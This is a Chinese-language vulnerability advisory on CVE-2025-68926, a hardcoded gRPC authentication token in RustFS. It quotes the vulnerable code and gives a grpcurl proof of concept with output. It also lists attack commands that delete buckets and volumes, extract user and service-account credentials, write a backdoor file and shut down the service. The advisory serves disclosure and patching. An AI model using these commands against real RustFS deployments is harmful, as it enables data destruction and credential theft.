RustFS gRPC身份认证绕过漏洞CVE-2025-68926
RustFS 分布式对象存储是指以 Rust 语言实现的、遵循对象存储架构规范的分布式文件系统/存储系统,是 RustFS 的一个重要细分领域。
一、基本情况
RustFS是Rust语言开发的高性能、高安全性、高并发的对象存储系统,聚焦于对象(而非传统文件系统的文件/目录)作为核心存储单元。

RustFS 用于海量、非结构化数据(图片、视频、日志、备份数据)的存储与管理,兼具 Rust 语言天然优势和分布式对象存储架构特性。
栋科技漏洞库关注到 RustFS gRPC 中的身份认证绕过漏洞,该漏洞现在已经被追踪为CVE-2025-68926,漏洞的CVSS 3.1评分高达9.8。
二、漏洞分析
CVE-2025-68926 是在 1.0.0-alpha.77 版本之前,RustFS 使用硬编码的静态令牌 rustfs rpc 实现 gRPC 身份验证的安全漏洞,评分较高。
该漏洞源于 RustFS 的gRPC认证使用硬编码的静态令牌rustfs rpc,该令牌在源代码库中公开,客户端和服务器端均为硬编码且不可配置。
该令牌在源代码仓库中公开暴露,客户端和服务器端都硬编码这个令牌,无法配置,也没有令牌轮换机制,所有RustFS部署都普遍有效。
任何能够通过网络访问 gRPC 端口的攻击者都可以使用这个众所周知的令牌进行身份验证,并执行特权操作。
攻击者可以利用此公开的静态令牌进行身份验证,并执行包括数据销毁、策略操纵和集群配置更改在内的特权操作。
1、易受攻击代码分析
服务器端认证(rustfs/src/server/http.rs:679-686)
#[allow(clippy::result_large_err)]
fn check_auth(req: Request<()>) -> std::result::Result<Request<()>, Status> {
let token: MetadataValue<_> = "rustfs rpc".parse().unwrap(); // ⚠️ HARDCODED!
match req.metadata().get("authorization") {
Some(t) if token == t => Ok(req),
_ => Err(Status::unauthenticated("No valid auth token")),
}
}
问题:
·静态令牌被硬编码为字符串字面量
·无配置机制(环境变量、文件等)
·在公共GitHub存储库中可见的Token
·所有安装均相同
·客户端认证(crates/prot)
2、客户端身份验证(crates/protos/src/lib.rs:153-174)
pub async fn node_service_time_out_client(
addr: &String,
) -> Result<NodeServiceClient<...>, Box<dyn Error>> {
let token: MetadataValue<_> = "rustfs rpc".parse()?; // ⚠️ SAME HARDCODED TOKEN!
// ...
Ok(NodeServiceClient::with_interceptor(
channel,
Box::new(move |mut req: Request<()>| {
req.metadata_mut().insert("authorization", token.clone());
Ok(req)
}),
))
}
问题:
·客户端使用相同的硬编码令牌
·无安全令牌分发机制
·不更改代码就无法轮换Token
服务集成(rustfs/src/server/http.rs:520-521)
let rpc_service = NodeServiceServer::with_interceptor(make_server(), check_auth);
let service = hypid(s3_service, rpc_service);
check_auth拦截器通过NodeServiceServer::with_interceptor应用于所有gRPC服务,使用相同弱认证保护node.proto中50多个gRPC方法。
三、POC概念验证
1、环境设置
测试环境:
RustFS 服务器:localhost:9000(HTTP + gRPC 混合服务)
RustFS 控制台:localhost:9001
容器:rustfs/rustfs:latest(Docker Compose部署)
默认凭据:rustfsadmin/rustfsadmin
所需工具:
grpcurl v1.9.3+(gRPC 命令行客户端)
RustFS 原型文件:crates/protos/src/node.proto
2、步骤1:验证是否已启用身份验证
测试1.1:无认证令牌的请求
$ grpcurl -plaintext \
-import-path /private/tmp/rustfs/crates/protos/src \
-proto node.proto \
-d '{}' \
localhost:9000 node_service.NodeService/Ping
预期结果:✅ 认证失败
ERROR:
Code: Unauthenticated
Message: No valid auth token
测试1.2:使用错误令牌的请求
$ grpcurl -plaintext \
-H 'authorization: wrong-token-12345' \
-import-path /private/tmp/rustfs/crates/protos/src \
-proto node.proto \
-d '{}' \
localhost:9000 node_service.NodeService/Ping
预期结果:✅ 认证失败
ERROR:
Code: Unauthenticated
Message: No valid auth token
结论:身份验证已得到妥善执行——未经授权的请求已被拒绝。
3、步骤2:从源代码中提取硬编码的令牌
公共源代码分析:
$ git clone https://github.com/rustfs/rustfs.git
$ cd rustfs
$ grep -rn '"rustfs rpc"' --include='*.rs'
结果:✅ 在公共源代码中找到了Token
rustfs/src/server/http.rs:680: let token: MetadataValue<_> = "rustfs rpc".parse().unwrap();
crates/protos/src/lib.rs:153: let token: MetadataValue<_> = "rustfs rpc".parse()?;
提取的标记:rustfs rpc
4、步骤3:利用 - 使用硬编码令牌进行身份验证
测试3.1:使用硬编码令牌成功认证
$ grpcurl -plaintext \
-H 'authorization: rustfs rpc' \
-import-path /private/tmp/rustfs/crates/protos/src \
-proto node.proto \
-d '{}' \
localhost:9000 node_service.NodeService/Ping
结果:🔓 认证已绕过
{
"version": "1",
"body": "DAAAAAAABgAIAAQABgAAAAQAAAANAAAAaGVsbG8sIGNhbGxlcgAAAA=="
}
分析:服务器接受了硬编码的令牌,并返回了成功响应。身份验证完全被绕过。
5、步骤4:演示对敏感管理API的访问
测试4.1:服务器配置泄露
$ grpcurl -plaintext \
-H 'authorization: rustfs rpc' \
-import-path /private/tmp/rustfs/crates/protos/src \
-proto node.proto \
-d '{}' \
localhost:9000 node_service.NodeService/ServerInfo
结果:✅ 披露了完整的服务器配置
{
"success": true,
"serverProperties": "n6ZvbmxpbmWsMC4wLjAuMDo5MDAwoM0DhdkjMjAyNS0xMi0xOVQwNjo1NzoxOVpAMS4wLjAtYWxwaGEuNzaggawwLjAuMC4wOjkwMDCmb25saW5llNwAGq0vZGF0YS9ydXN0ZnMwwq0vZGF0YS9ydXN0ZnMwwsKib2ugACLAzwAAcxuhUAAAzwAAQCnCIAAAzwAAMvHfMAAAywAAAAAAAAAAywAAAAAAAAAAywAAAAAAAAAAywAAAAAAAAAAy0BL3vAPnWekwMDOADA+/c5/XK34wwAAANwAGq0vZGF0YS9ydXN0ZnMxwq0vZGF0YS9ydXN0ZnMxwsKib2ugACLAzwAAcxuhUAAAzwAAQCnCIAAAzwAAMvHfMAAAywAAAAAAAAAAywAAAAAAAAAAywAAAAAAAAAAywAAAAAAAAAAy0BL3vAPnWekwMDOADA+/c5/XK34wwAAAdwAGq0vZGF0YS9ydXN0ZnMywq0vZGF0YS9ydXN0ZnMywsKib2ugACLAzwAAcxuhUAAAzwAAQCnCIAAAzwAAMvHfMAAAywAAAAAAAAAAywAAAAAAAAAAywAAAAAAAAAAywAAAAAAAAAAy0BL3vAPnWekwMDOADA+/c5/XK34wwAAAtwAGq0vZGF0YS9ydXN0ZnMzwq0vZGF0YS9ydXN0ZnMzwsKib2ugACLAzwAAcxuhUAAAzwAAQCnCIAAAzwAAMvHfMAAAywAAAAAAAAAAywAAAAAAAAAAywAAAAAAAAAAywAAAAAAAAAAy0BL3vAPnWekwMDOADA+/c5/XK34wwAAAwGRAZUAAAAAAAAAoIA="
}
分析:
服务器返回了完整的配置信息,包括存储路径、端点地址和版本信息
二进制数据包含敏感的内部状态(采用MessagePack编码)
信息披露已确认
测试4.2:磁盘信息访问
$ grpcurl -plaintext \
-H 'authorization: rustfs rpc' \
-import-path /private/tmp/rustfs/crates/protos/src \
-proto node.proto \
-d '{}' \
localhost:9000 node_service.NodeService/DiskInfo
结果:✅ 已接受经过身份验证的请求(返回的是业务逻辑错误,而非身份验证错误)
{
"error": {
"code": 36,
"errorInfo": "io error can not find disk"
}
}
分析:
请求已通过身份验证(错误在于业务逻辑,而非身份验证)
证明攻击者已通过身份验证,可以访问敏感系统信息API
6、影响分析
受影响的API
node_service.NodeService中的所有50多个gRPC方法都存在漏洞:
🔴 关键影响 - 数据销毁
DeleteBucket - 删除生产存储桶
DeleteVolume - 销毁整个存储卷
DeleteUser - 移除合法用户
DeletePolicy - 移除访问控制策略
DeleteServiceAccount - 删除服务账户
🔴 关键影响 - 配置篡改
ReloadSiteReplicationConfig - 集群复制已损坏
SignalService - 控制服务生命周期
LoadPolicy - 修改访问控制策略
LoadPolicyMapping - 更改策略分配
🟠 高度影响 - 未经授权的数据访问/修改
ReadAll / ReadAt - 读取任意数据
WriteAll / WriteStream - 注入恶意数据
RenameFile / RenameData - 操作文件系统
更新元数据/写入元数据 - 元数据已损坏
🟠 高影响 - 权限提升
LoadUser - 获取用户凭据
LoadServiceAccount - 获取服务凭据
LoadGroup - 访问组成员资格
🟡 中等影响 - 信息披露
ServerInfo - 服务器配置信息披露
DiskInfo - 存储配置信息披露
GetMetrics - 性能指标披露
GetBucketStats - 存储桶统计信息披露
LocalStorageInfo - 存储系统信息
ListBucket - 存储桶枚举
🟡 中等影响 - 集群运营
MakeBucket - 未经授权的存储桶创建
HealBucket - 触发修复操作
BackgroundHealStatus - 监控内部操作
7、攻击场景
场景1:数据销毁
# Enumerate all buckets
grpcurl -plaintext -H 'authorization: rustfs rpc' \
-d '{"options": "{}"}' \
localhost:9000 node_service.NodeService/ListBucket
# Delete critical production bucket
grpcurl -plaintext -H 'authorization: rustfs rpc' \
-d '{"bucket": "production-data"}' \
localhost:9000 node_service.NodeService/DeleteBucket
# Delete entire storage volume
grpcurl -plaintext -H 'authorization: rustfs rpc' \
-d '{"volume": "vol1"}' \
localhost:9000 node_service.NodeService/DeleteVolume
影响:数据完全丢失,业务中断
场景2:凭证收集
# Extract user credentials
grpcurl -plaintext -H 'authorization: rustfs rpc' \
-d '{"access_key": "admin"}' \
localhost:9000 node_service.NodeService/LoadUser
# Extract service account credentials
grpcurl -plaintext -H 'authorization: rustfs rpc' \
-d '{"access_key": "service-account"}' \
localhost:9000 node_service.NodeService/LoadServiceAccount
# Exfiltrate IAM policies
grpcurl -plaintext -H 'authorization: rustfs rpc' \
-d '{"name": "admin-policy"}' \
localhost:9000 node_service.NodeService/LoadPolicy
影响:完全破坏身份与访问管理(IAM),横向移动
场景3:后门安装
# Inject malicious data into system paths
grpcurl -plaintext -H 'authorization: rustfs rpc' \
-d '{"volume": "config", "path": "backdoor.sh", "buf": "..."}' \
localhost:9000 node_service.NodeService/WriteAll
# Modify system configuration
grpcurl -plaintext -H 'authorization: rustfs rpc' \
-d '{"bucket": "system", "path": ".rustfs.sys/config.json", "fi": "..."}' \
localhost:9000 node_service.NodeService/WriteMetadata
影响:持续危害,进一步利用
场景4:集群中断
# Corrupt replication configuration
grpcurl -plaintext -H 'authorization: rustfs rpc' \
-d '{}' \
localhost:9000 node_service.NodeService/ReloadSiteReplicationConfig
# Force service restart/shutdown
grpcurl -plaintext -H 'authorization: rustfs rpc' \
-d '{"sig": 2}' \
localhost:9000 node_service.NodeService/SignalService
影响:分布式系统故障,数据不一致
8、Poc概念验证
自动化POC脚本
文件:audit_analysis/poc_cve_2025_008_grpc_token_working.sh
用法:
管理员已设置登录后刷新可查看默认目标:localhost:9000
POC特性
1.✅ 基线认证测试
验证未经验证的请求是否被拒绝
验证不正确的令牌是否被拒绝
2.✅ 漏洞利用演示
使用硬编码的令牌进行身份验证
成功调用Ping服务
3.✅ 敏感API访问
访问ServerInfo(配置泄露)
访问DiskInfo(系统信息)
演示对管理API的经过身份验证的访问
4.✅ 详细报告
显示易受攻击的代码位置
列出所有受影响的API(50多种方法)
提供CVSS评分和影响分析
包括补救建议
POC输出摘要
[PHASE 1] Baseline Testing
✓ Without token: REJECTED (Unauthenticated)
✓ With wrong token: REJECTED (Unauthenticated)
[PHASE 2] Exploit
✓ With hardcoded token "rustfs rpc": ACCEPTED ✅
[PHASE 3] Sensitive API Access
✓ ServerInfo: SUCCESS - Configuration disclosed
✓ DiskInfo: SUCCESS - System information accessible
[RESULT] VULNERABILITY CONFIRMED
四、影响范围
RustFS < 1.0.0-alpha.77
五、修复建议
RustFS >= 1.0.0-alpha.77
六、参考链接
管理员已设置登录后刷新可查看